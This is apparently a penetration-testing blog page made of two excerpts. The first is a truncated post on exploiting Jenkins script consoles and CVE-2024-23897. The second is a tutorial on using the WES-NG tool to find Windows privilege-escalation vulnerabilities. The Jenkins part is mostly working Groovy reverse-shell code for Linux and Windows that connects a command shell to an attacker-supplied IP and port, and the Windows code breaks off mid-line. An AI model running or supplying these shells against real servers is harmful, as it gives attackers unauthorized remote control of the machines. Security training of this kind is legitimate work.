Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea...
Recently i came across this awesome Windows Exploit Suggester - Next Generation (WES-NG) tool and it comes handy for performing the privilege escalation. Once you have the initial access to the machine, simply grab the system information and run with WES-NG to view all the vulnerabilities in the target machine.
WES-NG link : https://github.com/bitsadmin/wesng
1) Get the package form the above link and clone it to your machine.
#git clone https://github.com/bitsadmin/wesng
2) After cloning, update the vulnerability database.
syntax : wes.py --update
3) Now, from the target machine, run systeminfo command. Copy the output on a text file, name it as systeminfo.txt and paste it in the same WES-NG folder.
4) Run WES-NG with the systeminfo.txt file as parameter.
syntax : python wes.py systeminfo.txt
The tool will list down all the vulnerabilities in the target machine. Now it is up to you to find and select an applicable potential vulnerability and exploit to perform the privilege escalation.
Watson can be another handy tool to identify the vulnerabilities in a machine, however it required you to compile the code to generate the executable and then transfer to the target machine.